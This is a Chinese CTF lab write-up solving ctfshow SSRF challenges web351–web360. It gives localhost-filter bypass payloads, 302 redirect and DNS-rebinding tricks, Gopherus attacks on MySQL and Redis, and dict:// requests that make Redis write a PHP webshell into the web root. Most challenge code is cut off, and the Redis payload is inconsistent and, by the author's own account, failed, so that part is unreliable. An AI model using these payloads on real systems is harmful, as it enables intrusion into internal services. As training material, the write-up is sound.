先开始刷SSRF,一直看文章头都昏了,练练题换一下脑子。
web351
题目
1 | <?php |
题解
首先还是先看一下这几个PHP的函数吧。
curl_init
初始化新会话,返回 cURL 句柄,供 curl_setopt()、curl_exec() 和 curl_close() 函数使用。
curl_setopt
— 设置 cURL 传输选项,
1 | curl_setopt(CurlHandle $handle, int $option, mixed $value): bool |
为 cURL 会话句柄设置选项。
1 | handle |
由 curl_init() 返回的 cURL 句柄。
1 | option |
需要设置的CURLOPT_XXX
选项。
1 | value |
将设置在option
选项上的值。
以下 option
参数的 value
应该被设置成 bool 类型:
本题设置为
CURLOPT_HEADER |
启用时会将头文件的信息作为数据流输出。 |
---|---|
CURLOPT_RETURNTRANSFER |
true 将curl_exec()获取的信息以字符串返回,而不是直接输出。 |
就是拼接命令使用curl_exec执行curl_setopt返回flag.php的内容即可。
1 | url=http://127.0.0.1/flag.php |
web352
题目
1 | <?php |
题解
想较于上题添加了对localhost和127.0.0的过滤,我们尝试绕过。
1 | url=http://0/flag.php |
还可以利用短网址302跳转到127.0.0.1
1 | url=http://z6b.cn/QfS2T/flag.php |
web353
题目
1 | <?php |
新建了正则匹配来限制只能使用http和https协议
题解
1 | 127.0.0.1 |
web354
题目
1 | <?php |
这个过滤了1和0,限制http(s)协议
题解
第一种方法
使用http://sudo.cc,这个域名是指向127.0.0.1的
url=url=http://sudo.cc/flag.php
第二种方法
302跳转
在自己的网站上面添加
1 | <?php |
第三种方法
DNS-Rebinding(dns重绑定)
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
web355
题目
1 | <?php |
这里限制了传入的url 的 host 部分的长度必须小于等于5
题解
第一种解法
1 | url=http://127.1/flag.php |
127.1整好五位
第二种解法
1 | url=http://0/flag.php |
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web356
题目
1 | <?php |
题解
限制长度小于等于3,用上面的方法
1 | url=http://0/flag.php |
web357
题目
1 | <?php |
利用302跳转和dns重绑定都可以。
题解
在自己服务器上写个a.php文件内容如下
1 |
|
web358
题目
1 | <?php |
题解
1 | http://ctf.@127.0.0.1/flag.php?show |
web359
打无密码的mysql
使用工具
1 | Give MySQL username: root |
在url/check.php目录下POST变量returl的值
payload:要把下划线后的再url编码一次()
太长了,省略
web360
题目
1 | <?php |
打redis
- 写webshell
- 写ssh公钥
- 写contrab计划反弹shell
- 主从复制
题解
1 | python gopherus.py --exploit redis |
还有可以用dict协议
探测端口6379
1 | url=dict://127.0.0.1:6379 |
返回
1 | ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK |
看是否需要认证
1 | url=dict://127.0.0.1:6379/info |
不需要认证
1 | url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/ |
再进行写马
1 | url=dict://127.0.0.1:6380/config:set:dbfilename:webshell.php |
1 | url=dict:/127.0.0.1:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" |
payload没打通,再去沉淀一下。
总结
题目都是非常简单基础,主要就是绕过和工具的利用,以后还是要多练比赛题目来进一步提升。